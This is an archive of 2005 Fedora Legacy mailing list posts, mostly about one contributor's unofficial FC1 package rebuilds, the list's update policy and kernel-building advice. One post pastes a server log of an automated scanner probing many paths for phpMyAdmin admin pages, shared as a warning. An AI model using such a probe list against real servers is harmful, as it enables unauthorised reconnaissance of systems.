iD8DBQFDcLBIkNLDmnu1kSkRAwDcAJoC86/jEQAvdTEUIJa0AH4oyK144QCfZpt/
Q7I7qbt6bMIUKSio9681YDg=
=6ccG
-END PGP SIGNATURE-
--
Scanned by ClamAV - http://www.clamav.net
--
fedora-legacy-list mailing list
fedora-legacy-list@redhat.com
https://www.redhat.com/mailman/listinfo/fedora-legacy-list
Another security problem..
-BEGIN PGP SIGNED MESSAGE- Hash: RIPEMD160 - -BEGIN PGP SIGNED MESSAGE- Hash: RIPEMD160 Everyone, On 19-Oct-05 at about 1:00pm my time, someone from IP 194.150.85.114 accessed my web-server trying to access a file called main.php in the following places: 194.150.85.114 - - [19/Oct/2005:13:01:53 -0400] GET /phpmyadmin/main.php HTTP/1.0 404 304 - pmafind 194.150.85.114 - - [19/Oct/2005:13:01:53 -0400] GET /PMA/main.php HTTP/1.0 404 297 - pmafind 194.150.85.114 - - [19/Oct/2005:13:01:54 -0400] GET /mysql/main.php HTTP/1.0 404 299 - pmafind 194.150.85.114 - - [19/Oct/2005:13:01:54 -0400] GET /admin/main.php HTTP/1.0 404 299 - pmafind 194.150.85.114 - - [19/Oct/2005:13:01:54 -0400] GET /db/main.php HTTP/1.0 404 296 - pmafind 194.150.85.114 - - [19/Oct/2005:13:01:54 -0400] GET /dbadmin/main.php HTTP/1.0 404 301 - pmafind 194.150.85.114 - - [19/Oct/2005:13:01:54 -0400] GET /web/phpMyAdmin/main.php HTTP/1.0 404 308 - pmafind 194.150.85.114 - - [19/Oct/2005:13:01:54 -0400] GET /admin/pma/main.php HTTP/1.0 404 303 - pmafind 194.150.85.114 - - [19/Oct/2005:13:01:55 -0400] GET /admin/phpmyadmin/main.php HTTP/1.0 404 310 - pmafind 194.150.85.114 - - [19/Oct/2005:13:01:55 -0400] GET /admin/mysql/main.php HTTP/1.0 404 305 - pmafind 194.150.85.114 - - [19/Oct/2005:13:01:55 -0400] GET /mysql-admin/main.php HTTP/1.0 404 305 - pmafind 194.150.85.114 - - [19/Oct/2005:13:01:55 -0400] GET /phpmyadmin2/main.php HTTP/1.0 404 305 - pmafind 194.150.85.114 - - [19/Oct/2005:13:01:56 -0400] GET /mysqladmin/main.php HTTP/1.0 404 304 - pmafind 194.150.85.114 - - [19/Oct/2005:13:01:56 -0400] GET /mysql-admin/main.php HTTP/1.0 404 305 - pmafind 194.150.85.114 - - [19/Oct/2005:13:01:56 -0400] GET /main.php HTTP/1.0 404 293 - pmafind 194.150.85.114 - - [19/Oct/2005:13:01:56 -0400] GET /phpMyAdmin-2.5.6/main.php HTTP/1.0 404 310 - pmafind 194.150.85.114 - - [19/Oct/2005:13:01:56 -0400] GET /phpMyAdmin-2.5.4/main.php HTTP/1.0 404 310 - pmafind 194.150.85.114 - - [19/Oct/2005:13:01:56 -0400] GET /phpMyAdmin-2.5.1/main.php HTTP/1.0 404 310 - pmafind 194.150.85.114 - - [19/Oct/2005:13:01:57 -0400] GET /phpMyAdmin-2.2.3/main.php HTTP/1.0 404 310 - pmafind 194.150.85.114 - - [19/Oct/2005:13:01:57 -0400] GET /phpMyAdmin-2.2.6/main.php HTTP/1.0 404 310 - pmafind Of course, this attack fell on deaf ears on my server but, I'd like everyone to know since this is a security risk if they do have a PHP document configuring some of these administrative tasks open on the internet. Thanks, James Kosin - - -- - - -- James Kosin International Communications Group, Inc. 230 Pickett's Line Newport News, VA 23603-1366 - - - United States of America - Phone: 1(757)947-1030 ext. 122 Fax : 1(757)947-1035 - - -- GPG Fingerprint: 28E9 6487 34B2 18DD 6468 F091 8CD9 2038 DEB0 0590 GPG Key ID: 0xDEB00590 - -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.1 (MingW32) Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org iD8DBQFDV75UjNkgON6wBZARA6DmAJ9NMxZNiNCvKxy8eBZZQ0D7luLnegCfXDb8 SYP3+FueDyDnOzdwLLDA2PI= =D30R - -END PGP SIGNATURE- -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.1 (MingW32) Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org iD8DBQFDV757kNLDmnu1kSkRA8uzAJ43tmMFXtvaGW4SC8IOjVbvYFVbzACfbWO/ 5C3JQsLUIER/lsmoAQbRD8k= =Ij0X -END PGP SIGNATURE- -- Scanned by ClamAV - http://www.clamav.net -- fedora-legacy-list mailing list fedora-legacy-list@redhat.com https://www.redhat.com/mailman/listinfo/fedora-legacy-list
Re: Another security problem..
-BEGIN PGP SIGNED MESSAGE- Hash: RIPEMD160 Jim Popovitch wrote: Another? Heck, that's old stuff from quite some time (Internet time) ago. If I had a nickel for every invalid file access attempt. ;-) -Jim P. James Kosin wrote: --snip-- I'm not all that worried about invalid file accesses. This is just the first time since Windows MyDoom virus came out that I've seen logs that tried accessing the same file from multiple paths. I get lots of invalid file accesses as well. Only not much like this. James -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.1 (MingW32) Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org iD8DBQFDV9DOkNLDmnu1kSkRA2aPAJ9YWMTRfaTsIg59SQSt5ExR8ocsEQCggsLy LFffdHcpXobVKUeP4pjlOxE= =hV02 -END PGP SIGNATURE- -- Scanned by ClamAV - http://www.clamav.net -- fedora-legacy-list mailing list fedora-legacy-list@redhat.com https://www.redhat.com/mailman/listinfo/fedora-legacy-list
Re: Build team?
-BEGIN PGP SIGNED MESSAGE- Hash: RIPEMD160 Jesse Keating wrote: On Wed, 2005-10-19 at 09:47 -0500, David Eisenstein wrote: Since Dominic Hargreaves has not been able to participate, and my understanding is that Marc Deslauriers has lately had personal things to attend to, packages are not being built for updates-testing nor are release-ready packages being released. Dominic and Marc are the only two people I have ever seen build or release official Fedora Legacy packages. Does anyone else do it? Yes, we are in need. I was hoping to get the new build system in place before adding people, but I see that it just isn't going to happen. David, I had tagged you as one I was going to invite. I will be making private invitations to join the build team over the next week or so. I'm willing to help with building as well. Let me know. James Kosin -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.1 (MingW32) Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org iD8DBQFDVmHfkNLDmnu1kSkRA4d3AJ4/9RXZKoqrJgqE1E4coXzQ9dwOKQCbBn8v sVQ9s/S2pzCjE5VMGnibRMY= =gmfc -END PGP SIGNATURE- -- Scanned by ClamAV - http://www.clamav.net -- fedora-legacy-list mailing list fedora-legacy-list@redhat.com https://www.redhat.com/mailman/listinfo/fedora-legacy-list
Package Submission?
-BEGIN PGP SIGNED MESSAGE- Hash: RIPEMD160 Ok, I would like to know how to submit a package for FC1 to be updated... Of course, not through the normal means of patching the existing version; but, a new build. In particualar, the gcc package I've built for 3.3.6 for FC1. I've had no problems with this and would like to submit it to the Fedora Legacy group to update FC1 and others if possible. http://beta.support.intcomgrp.com/mirror/fedora-core/beta/src/gcc-3.3.6-2.fc1.src.rpm And the corresponding binutils package; since, gcc stoped support for c++filt which was moved to binutils http://beta.support.intcomgrp.com/mirror/fedora-core/beta/src/binutils-2.16.1-1.fc1.src.rpm I'm also willing to make changes / patches to the versions I have if there are any problems. Thanks, James Kosin -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.1 (MingW32) Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org iD8DBQFDVQSCkNLDmnu1kSkRAy5uAKCEIGX3uuK4k+bqoPj3yj/I0TbcowCdFWdF mN1GCaaZnHJJvdnLnvR4ACs= =Elwv -END PGP SIGNATURE- -- Scanned by ClamAV - http://www.clamav.net -- fedora-legacy-list mailing list fedora-legacy-list@redhat.com https://www.redhat.com/mailman/listinfo/fedora-legacy-list
Re: Package Submission?
-BEGIN PGP SIGNED MESSAGE- Hash: RIPEMD160 James Kosin wrote: Ok, I would like to know how to submit a package for FC1 to be updated... Of course, not through the normal means of patching the existing version; but, a new build. In particualar, the gcc package I've built for 3.3.6 for FC1. I've had no problems with this and would like to submit it to the Fedora Legacy group to update FC1 and others if possible. http://beta.support.intcomgrp.com/mirror/fedora-core/beta/src/gcc-3.3.6-2.fc1.src.rpm http://support.intcomgrp.com/mirror/fedora-core/beta/src/gcc-3.3.6-2.fc1.src.rpm And the corresponding binutils package; since, gcc stoped support for c++filt which was moved to binutils http://beta.support.intcomgrp.com/mirror/fedora-core/beta/src/binutils-2.16.1-1.fc1.src.rpm http://support.intcomgrp.com/mirror/fedora-core/beta/src/binutils-2.16.1-1.fc1.src.rpm I'm also willing to make changes / patches to the versions I have if there are any problems. Thanks, James Kosin Sorry, copied links for my internal network and not the external one. James Kosin -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.1 (MingW32) Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org iD8DBQFDVQZJkNLDmnu1kSkRA4r2AJ91Gbj57QglKg93PBcopd3QuipOlwCfZccM KXoY6uGQIOf28hxQbxPda+o= =UkN7 -END PGP SIGNATURE- -- Scanned by ClamAV - http://www.clamav.net -- fedora-legacy-list mailing list fedora-legacy-list@redhat.com https://www.redhat.com/mailman/listinfo/fedora-legacy-list
Re: Package Submission?
-BEGIN PGP SIGNED MESSAGE- Hash: RIPEMD160 Rex Dieter wrote: James Kosin wrote: I would like to know how to submit a package for FC1 to be updated... Of course, not through the normal means of patching the existing version; but, a new build. In particualar, the gcc package I've built for 3.3.6 for FC1. fedoralegacy is only for security updates, not packages upgrades. See http://fedoralegacy.org/about/faq.php: FAQs Q: What is the update policy for The Fedora Legacy Project? A: In general, we will provide security updates and critical bug fixes for select versions of Red Hat Linux and Fedora Core releases. No new features or packages will be introduced except where they are required for future management of our updates and agreed upon by a consensus -- Rex -- fedora-legacy-list mailing list fedora-legacy-list@redhat.com https://www.redhat.com/mailman/listinfo/fedora-legacy-list Rex, Thanks, but what you just quoted me says that it is possible if agreed upon by a consensus. I do know that Fedora Fedora Legacy only do security patches (for the most part) on packages released by the OS release. I'm just trying to find a way to improve things. FC1 shipped with gcc-3.3.2-1 and there hasn't been any updates to this or even bug fixes. GCC has finally released 3.3.6 back in May 3 2005 and stopped development on the branch. Changes to version 3.3.6 http://gcc.gnu.org/bugzilla/buglist.cgi?bug_status=RESOLVEDresolution=FIXEDtarget_milestone=3.3.6 Changes to version 3.3.5 http://gcc.gnu.org/bugzilla/buglist.cgi?bug_status=RESOLVEDresolution=FIXEDtarget_milestone=3.3.5 Changes to version 3.3.4 http://gcc.gnu.org/bugzilla/buglist.cgi?bug_status=RESOLVEDresolution=FIXEDtarget_milestone=3.3.4 Changes to version 3.3.3 http://gcc.gnu.org/bugzilla/buglist.cgi?bug_status=RESOLVEDresolution=FIXEDtarget_milestone=3.3.3 I've managed to build a working version of 3.3.6 for FC1 and have been using it for several months with no problems. Thanks, James -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.1 (MingW32) Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org iD8DBQFDVRlwkNLDmnu1kSkRA1xlAJ9CIHmtCZqUwRT1CQKqhhX7VaZFcQCfXQas uPCxfUXlo8LNDQE5ZyxOlxc= =/FQX -END PGP SIGNATURE- -- Scanned by ClamAV - http://www.clamav.net -- fedora-legacy-list mailing list fedora-legacy-list@redhat.com https://www.redhat.com/mailman/listinfo/fedora-legacy-list
Re: Web-Page for James' Updates.
-BEGIN PGP SIGNED MESSAGE- Hash: RIPEMD160 David Eisenstein wrote: |On Tue, 27 Sep 2005, James Kosin wrote: | |This may be easier than writing a long detailed email all the time. |Everyone can get / see updates via my newly created web-page at |~http://support.intcomgrp.com/~jkosin | | |Hi James, | |I've looked at your page and like the page. I guess I am one of the few |on this list who uses Fedora Core 1, but I like the idea that you're out |there publishing some updated (of course, unguaranteed, but updated) |packages that I can use on my FC1 install. I run FC1 because I like it, |and because it's a pain to upgrade to a newer version every six months, |especially with a 56kbps Internet connection. | |I think you've hit upon an optimal solution: much shorter mail announce- |ments with pointers to your web-page. Your long announcements confused me. | |I would also encourage you, James, to consider also contributing some of |your time to the business of the Fedora Legacy project, by occasionally |diving into one of the Bugzilla bugs listed in our to do list and either |creating new packages or QA'ing exising ones. | |If you need any help with that, let me know. Thanks. I'm glad I'm making a difference. I'll be glad to help with the QA'ing if I use the package enough. But, some QA'ing is very difficult. Some things to consider (1) Kernel updates are very difficult to QA. If you don't have the involved HW, it does very little to QA the kernel; because, most of the code elsewhere has not changed. And even if you do have the hardware, sometimes the changes impact things elsewhere in the code negatively for other users that don't have the hardware. (2) Even simple changes need extensive testing sometimes, especially if the impact is on a section of code that everything traverses multiple times. I'll have to take a look at the packages that need work I might have time later this month. | |For now; I'm open to comments on how to modify or make the page |better. I've never been very good at creating fancy pages. I usually |like to keep the pages simple. | | |Me too. If it's readable and usable and works, I say, Don't fix it. |Looks good to me. |-David | Thanks again. I'll try and keep it simple; but, the updates are quite numerous now. I may need to reorganize later in the year. - -James -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.1 (MingW32) Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org iD8DBQFDQovakNLDmnu1kSkRA8AdAJ9vFKJoOhqdo2zI5FHNs7oR2l9prQCfS46k UjRdj0YVufxGi4Ktu4t/AMg= =aTPc -END PGP SIGNATURE- -- Scanned by ClamAV - http://www.clamav.net -- fedora-legacy-list mailing list fedora-legacy-list@redhat.com https://www.redhat.com/mailman/listinfo/fedora-legacy-list
Re: [FC1: SpamAssassin] James' Update Advisory
-BEGIN PGP SIGNED MESSAGE- Hash: RIPEMD160 Everyone, I have a new version of SpamAssassin-3.1.0 for FC1. I've fixed the problem with perl-Net-DNS being at version 0.31, this version of spamassassin requires the version be = 0.34 for this module. ~ Luckly, the .src.rpm for FC2 at version 0.45 works good for our use. I've undid the previous patch, updated the requirements for spamassassin to include the perl-Net-DNS = 0.34 and rebuilt the whole lot. Sorry for any troubles this may have caused. New SOURCE RPM - -- http://support.intcomgrp.com/mirror/fedora-core/beta/src/spamassassin-3.1.0-2.fc1.src.rpm http://support.intcomgrp.com/mirror/fedora-core/beta/src/perl-Net-DNS-0.45-3.fc1.src.rpm New BINARY RPM - -- http://support.intcomgrp.com/mirror/fedora-core/beta/i386/spamassassin-3.1.0-1.fc1.i386.rpm http://support.intcomgrp.com/mirror/fedora-core/beta/i386/perl-Net-DNS-0.45-3.fc1.i386.rpm Sorry again, James Kosin -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.1 (MingW32) Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org iD8DBQFDMBzTkNLDmnu1kSkRAzkxAJ9UPwzc/kh1JE7GdgkfgJCCNpDxTwCeIQ92 yjwc2YV7qaIw00oNg9ZcLxI= =bztQ -END PGP SIGNATURE- -- Scanned by ClamAV - http://www.clamav.net -- fedora-legacy-list mailing list fedora-legacy-list@redhat.com https://www.redhat.com/mailman/listinfo/fedora-legacy-list
Re: [FC1: SpamAssassin] James' Update Advisory
-BEGIN PGP SIGNED MESSAGE- Hash: RIPEMD160 Everyone, I have a new version of SpamAssassin-3.1.0 for FC1. For some reason, they want to set the persistant states for the sockets to 0; but, FC1 does not have a persistant state for a UDP connection. At least from what I can gather from the error message. I have a simple patch for the version of spamassassin for FC1 to fix this in my initial release of the package. Sorry for any troubles this may have caused. New SOURCE RPM - -- http://support.intcomgrp.com/mirror/fedora-core/beta/src/spamassassin-3.1.0-1.fc1.src.rpm New BINARY RPM - -- http://support.intcomgrp.com/mirror/fedora-core/beta/i386/spamassassin-3.1.0-1.fc1.i386.rpm I caught this on Friday; but, couldn't get a patch done quick enough to get it out then. Sorry again, James Kosin -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.1 (MingW32) Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org iD8DBQFDLrV5kNLDmnu1kSkRA9QQAJsFQuUs0bxycbfkXAzA/6ya1Oyt7QCfcJk3 DN80UdjVk6BHSV7onS0Z5vc= =OW8u -END PGP SIGNATURE- -- Scanned by ClamAV - http://www.clamav.net -- fedora-legacy-list mailing list fedora-legacy-list@redhat.com https://www.redhat.com/mailman/listinfo/fedora-legacy-list
[FC1: ClamAV] James' Update Advisory
-BEGIN PGP SIGNED MESSAGE- Hash: RIPEMD160 Everyone, REMEMBER: ~(1) My updates are not supported by anyone other than me or the original group that is currently developing the software. ~(2) Fedora-Legacy, Fedora and other groups are not supporting these updates. Don't complain to them about my updates!!! They usually won't know what you are talking about. ~(3) If I tell of a kernel update! DO NOT GET RID OF YOUR OLD KERNEL. Keeping an old kernel that works installed is kinda like having a bootable floppy that works, if something breaks you still have a good system. ~(4) Please let me know if you would like to see any other updates. Right now, I can't do a lot of updates but, I'm willing to add as long as everyone knows I'm only one person. ~(5) MY UPDATES HAVE ONLY BEEN TESTED WITH FC1 !!! If you want to try them on FC2, RedHat 7.3 etc you are welcome to try, but I can't help with any problems... I just don't have the time. == ClamAV 0.87 - ClamAV updated their virus scanning application. SOURCE RPM - -- http://support.intcomgrp.com/mirror/fedora-core/beta/src/clamav-0.87-0.fc1.src.rpm i386 RPMS - - http://support.intcomgrp.com/mirror/fedora-core/beta/i386/clamav-0.87-0.fc1.i386.rpm http://support.intcomgrp.com/mirror/fedora-core/beta/i386/clamav-devel-0.87-0.fc1.i386.rpm http://support.intcomgrp.com/mirror/fedora-core/beta/i386/clamav-milter-0.87-0.fc1.i386.rpm = All of my binary packages are signed. http://support.intcomgrp.com/mirror/fedora-core/beta/RPM-GPG-KEY-JAMES The SHA1 Sums for the binaries are here: http://support.intcomgrp.com/mirror/fedora-core/beta/i386/sha1sum.txt The SHA1 Sums for the source files are here: http://support.intcomgrp.com/mirror/fedora-core/beta/src/sha1sum.txt I run a YUM server for FC1 you can also point your updates to http://support.intcomgrp.com/mirror/fedora-core/beta/i386 BUT ONLY IF YOU WANT! == Thanks James Kosin -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.1 (MingW32) Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org iD8DBQFDKxWIkNLDmnu1kSkRA66bAJ9tpyEz3Zb5lHqk+fQYGlavHFUA/gCaA79z xIwabr8Y/r9X8kEiLw0hNfM= =8hMt -END PGP SIGNATURE- -- Scanned by ClamAV - http://www.clamav.net -- fedora-legacy-list mailing list fedora-legacy-list@redhat.com https://www.redhat.com/mailman/listinfo/fedora-legacy-list
Re: [FC1] James' Updates
-BEGIN PGP SIGNED MESSAGE- Hash: RIPEMD160 Gilbert Sebenste wrote: | On Fri, 9 Sep 2005, HaJo Schatz wrote: | | James, I truly appreciate your efforts to get latest versions of | critical packages out. | | However, | [...] | | SpamAssassin 3.0.4 | -- | | [...] | | I'd suggest you have a look at Axel Thimm's atrpms archive. He has | quite a few packages up-to-date for legacy RH/Fedora releases. | Among them, he has released SA 3.0.4 quite a long time ago. Might | save you some time for other packages ;-) | | | That Spamassassin doesn't work on FC1. Tried it, bombed with a bunch | of incompatibility errors. However... | | James, when I restart spamassassin in /etc/rc.d/init.d, I get: | | Starting spamd: The -a option has been removed. Please look at the | use_auto_whitelist config option instead. [ FAILED] | | I don't see a -a option in my /etc/rc.d/init.d/spamassassin file. | Any ideas? | | *** | | Gilbert Sebenste | | (My opinions only!) | ** | Staff Meteorologist, Northern Illinois | University | E-mail: | [EMAIL PROTECTED] *** | web: | http://weather.admin.niu.edu ** | *** | | | -- | fedora-legacy-list mailing list | fedora-legacy-list@redhat.com | http://www.redhat.com/mailman/listinfo/fedora-legacy-list I'll look into in when I get back! Got school now and lunch. James -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.1 (MingW32) Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org iD8DBQFDIbaukNLDmnu1kSkRAxrLAJ9/qYSfTm2F4/Dor7X6TDTWj62dHgCbBPJ7 2dqrYzoGhedD40jWMmcCMRU= =daBN -END PGP SIGNATURE- -- Scanned by ClamAV - http://www.clamav.net -- fedora-legacy-list mailing list fedora-legacy-list@redhat.com http://www.redhat.com/mailman/listinfo/fedora-legacy-list
[FC1] UNSUPPORTED UPDATES by James
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Hi Again, - - JAMES' Unofficial Unsupported by RedHat, Redhat Fedora Core, and Redhat Fedora Legacy Groups! ~Any support for my packages, will only come from me! There is no ~bugzilla for the packages, groups may not know what version you are ~talking about. The biggest support can come from ME or the source ~creators of the program. Although, any patches kept over from the ~Fedora Core packages are not supported by the vendor of the software. ~My packages are usually re-packaged new versions of many programs. - - ClamAV 0.86.2-3 - - This is only a fixed version of the package. I've tightened the permissions on the /var/run/clamav directory to 700. This fixes the clamav-milter program from complaining at some point about the socket being insecure at some point. I've also submitted a patch to the development team at clamav.net The code for clamav-milter looks like it should support signing a message with the (default) signature; but, turns out the signature in the code is just a placeholder and you need to specify the - --singature-file parameter for signing to work. My patch is not in this version. I've also loosened the version for FC1 on the ZLib libraries to the latest released version from Fedora Legacy Group. I have not tested this RPM http://support.intcomgrp.com/mirror/fedora-core/beta/i386/clamav-0.86.2-3.fc1.i386.rpm http://support.intcomgrp.com/mirror/fedora-core/beta/i386/clamav-milter-0.86.2-3.fc1.i386.rpm http://support.intcomgrp.com/mirror/fedora-core/beta/i386/clamav-devel-0.86.2-3.fc1.i386.rpm SOURCE http://support.intcomgrp.com/mirror/fedora-core/beta/src/clamav-0.86.2-3.fc1.src.rpm - - - - Kernel 2.4.30-2.3 (VANILLA) - -- I've also built a new version of the kernel. This version is based on the latest patches to kernel version 2.3.32-pre3. Please keep all your old kernels, this is not an OFFICIAL RELEASE and your mileage will vary. RPM http://support.intcomgrp.com/mirror/fedora-core/beta/i386/kernel-2.4.30-2.3.fc1.vanilla.i686.rpm http://support.intcomgrp.com/mirror/fedora-core/beta/i386/kernel-smp-2.4.30-2.3.fc1.vanilla.i686.rpm http://support.intcomgrp.com/mirror/fedora-core/beta/i386/kernel-doc-2.4.30-2.3.fc1.vanilla.i386.rpm http://support.intcomgrp.com/mirror/fedora-core/beta/i386/kernel-source-2.4.30-2.3.fc1.vanilla.i386.rpm SOURCE http://support.intcomgrp.com/mirror/fedora-core/beta/src/kernel-2.4.30-2.3.fc1.vanilla.src.rpm - - - - Samba-Vscan-ClamAv 0.4.0-0 - -- This is a snapshot version of version 0.4.0 for samba-vscan! He has made improvements and removed support for samba 2.x. So, this version is for samba 3.x and greater now. I have been running it for more than a week now without problems. RPM http://support.intcomgrp.com/mirror/fedora-core/beta/i386/samba-vscan-clamav-0.4.0-0.fc1.i386.rpm SOURCE http://support.intcomgrp.com/mirror/fedora-core/beta/src/samba-vscan-clamav-0.4.0-0.fc1.src.rpm -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.0 (MingW32) Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org iD8DBQFC/Me4kNLDmnu1kSkRAq7pAJ4wldZodG5yGR+ubMcXhi1i1BP9HgCdFTOx SsyXpOijoNiJXJY6hS1xhyY= =tXi6 -END PGP SIGNATURE- -- fedora-legacy-list mailing list fedora-legacy-list@redhat.com http://www.redhat.com/mailman/listinfo/fedora-legacy-list
Updates for FC1
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Everyone, *** GCC 3.3.6 - I need testers for the package if possible. This is a big one and I thought the kernel was BIG. I fixed the last of the packaging issues. c++filt is now part of binutils and is not part of this gcc package. See below for my updates to binutils. repository path: http://support.intcomgrp.com/mirror/fedora-core/beta/ SHA1SUMs - 75e57c15e8372fd20ffc7317ba66cd418f34cd29 *cpp-3.3.6-1.fc1.i386.rpm 934755f58313fbb80bd4ab3fd01c30383ed7a2ec *gcc-3.3.6-1.fc1.i386.rpm cc85962102c9174cd1c1e2302626bfd4172117c3 *gcc-c++-3.3.6-1.fc1.i386.rpm 0dae171312c0fda8519a05857c62ec33bfae6e80 *gcc-g77-3.3.6-1.fc1.i386.rpm 715d1a01f811fe5bce8d380ee78689a36c6674c3 *gcc-gnat-3.3.6-1.fc1.i386.rpm 3a818fcca68727fa7797ad64d4412a8f348185af *gcc-java-3.3.6-1.fc1.i386.rpm 7eee2870769b7a89ec4eae2dc94891446e7c5c5d *gcc-objc-3.3.6-1.fc1.i386.rpm 6dcef6d5a7e621b3a7f44ae9617490e1ac68529b *libf2c-3.3.6-1.fc1.i386.rpm a1dc2831e2ae69cf1e2957033473025f99eb52af *libgcc-3.3.6-1.fc1.i386.rpm 359bf1328a3265e1eac370c625f33b017fe15296 *libgcj-3.3.6-1.fc1.i386.rpm 6c4e3b5b607081fd5789cc0525f24e50213f5fdc *libgcj-devel-3.3.6-1.fc1.i386.rpm 8432237fefab272f75beb766963e330438b6aff8 *libgnat-3.3.6-1.fc1.i386.rpm 92853fc220bcb543f4fc415214496941170d88fd *libobjc-3.3.6-1.fc1.i386.rpm a00ad0cbba4a47c0758e5b5add02c3cf75cc7f48 *libstdc++-3.3.6-1.fc1.i386.rpm ef1d89346cd3a4e8641675dc08215cac86398786 *libstdc++-devel-3.3.6-1.fc1.i386.rpm SOURCE file - -- http://support.intcomgrp.com/mirror/fedora-core/beta/src/gcc-3.3.6-1.fc1.src.rpm *** BINUTILS 2.16.1 - - Contains utilities for compilers / etc. Added c++filt to the build for FC1. Needed for gcc-3.3.6. SHA1SUMs - -- 26024b433219ac53e2c2d1e9508948b577781173 *binutils-2.16.1-1.fc1.i386.rpm SOURCE file - -- http://support.intcomgrp.com/mirror/fedora-core/beta/src/binutils-2.16.1-1.fc1.src.rpm *** DEJAGNU 1.4.3 - -- Scripting utility for verifying applications.. Used when testing gcc-3.3.6, etc. SHA1SUMs - - 8e0170a2baedf0ebdd21bcff071a75290f7b2899 *dejagnu-1.4.3-10.noarch.rpm SOURCE file - --- http://support.intcomgrp.com/mirror/fedora-core/beta/src/dejagnu-1.4.3-10.fc1.src.rpm *** KERNEL 2.4.30-2.2 - -- Kernel for FC1 patched to 2.4.32-pre2 level SHA1SUMs - --- d964fac93eda079c78c1c4278808f04903004b3d *kernel-2.4.30-2.2.fc1.vanilla.i686.rpm 22a73fdd872b254371758ccdbc09560ef5ab26fc *kernel-doc-2.4.30-2.2.fc1.vanilla.i386.rpm 4ad2927b041ae4c4045218236cb20cfd0ea19d82 *kernel-smp-2.4.30-2.2.fc1.vanilla.i686.rpm 9f1683ee800f8b2b8510a0240ed11bec65e2e6e3 *kernel-source-2.4.30-2.2.fc1.vanilla.i386.rpm SOURCE file - -- http://support.intcomgrp.com/mirror/fedora-core/beta/src/kernel-2.4.30-2.2.fc1.src.rpm *** The GCC update took a while, and I need to appologize to eveyone who waited for the update. I've only tested the update as far as my system has not crashed. All patches except for two I believe where kept from the old gcc version. One patch was already applied and one did not agree with the new changes. I fixed my problems building the package. The last thing was documentation being replaced. Thanks, James Kosin REMEBER, my updates are NOT SUPPORTED BY REDHAT or FEDORA CORE. If you have problems please kindly email me. -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.0 (MingW32) Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org iD8DBQFC84wDkNLDmnu1kSkRAnsaAJ9B+wSULpBHFEOqYwWzNs/VXusYEQCghAPw v5sAHR1pSVSVoSyMDqCAx7s= =+Y2j -END PGP SIGNATURE- -- fedora-legacy-list mailing list fedora-legacy-list@redhat.com http://www.redhat.com/mailman/listinfo/fedora-legacy-list
Re: Building Fedora Legacy 2.4.20-43.7 for RH7.3 from sources.
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Frank Hamersley wrote: | Thanks for the prompt reply Alexander | | -Original Message- From: | [EMAIL PROTECTED] | [mailto:[EMAIL PROTECTED] Behalf Of | Alexander Dalloz Sent: Friday, 5 August 2005 12:29 AM To: | Discussion of the Fedora Legacy Project Subject: Re: Building | Fedora Legacy 2.4.20-43.7 for RH7.3 from sources. | | Am Do, den 04.08.2005 schrieb Frank Hamersley um 16:22: | | Can anyone point me to a useful howto on building the | | latest Fedora RH73 | | legacy kernel from source? | | Could you be specific about what you want to do differently than | the FLP package does for the resulting kernel rpm? There must be | a reason to compile your own, but with the legacy kernel source. | | | Partially a learning exercise, but mostly I want to freshen my | iptables to the latest stable and decided that I should go all the | way through from first principles ie. starting with the kernel. | | I have installed the src rpm (2.4.20-43.7) and unpacked the | | .tar.bz2 file. | | However I am confused about how to apply the .patch files | | (as they do not | | seem to be applied to the source). | | Can anyone provide enlightenment? Cheers, Frank. | | Use the spec file which is located in SPECS. rpmbuild --help - | | | -bp build through %prep (unpack sources | and apply patches) from specfile | | | Just about to hit the sack here (12:41 AM Sydney). Will look at | this tomorrow...but did not notice any SPECS directory after | installing the rpm. Will check again in daylight. | | Cheers, Frank. | | | -- fedora-legacy-list mailing list fedora-legacy-list@redhat.com | http://www.redhat.com/mailman/listinfo/fedora-legacy-list | Frank, (1) Because you said you unpacked the .tar.bz2 file. We can safely assume you have the .src.rpm file was what you have. (2) Check for the files in /usr/src/redhat You should see directories: ~(a) BUILD ... where the RPM builder unpacks the source to and applies patches to. ~(b) SOURCES ... where the RPM builder gets the sources / patches / etc for the build process. ~(c) SPECS ... where the RPM builder gets the spec files for building the package. NOTE: ~The kernel package is not the easiest package to tackle your first time. It may be better to build from the sources in /usr/src/linux-2.4 directory first. If you updated the kernel-sources-*.rpm file then you have the latest patched kernel sources there. ~Be careful, especially with the kernel. You can really cause problems if you don't know what you are doing. ~First, read the documentation for the latest release of iptables... Look for dependencies on a specific kernel version or iptables modules. ~Next, compare the source for the iptables modules with the patched sources for the 7.3 kernel and be sure you will not be breaking anything. ~Next, try the patches you create on the /usr/src/linux-2.4 kernel directory by building a custom kernel you can boot from and try carefully. Good Luck, James Kosin -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.0 (MingW32) Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org iD8DBQFC8jLkkNLDmnu1kSkRApnoAJ0SCEWiLl2cuHt3IUfHMLPGd1mtcACePq60 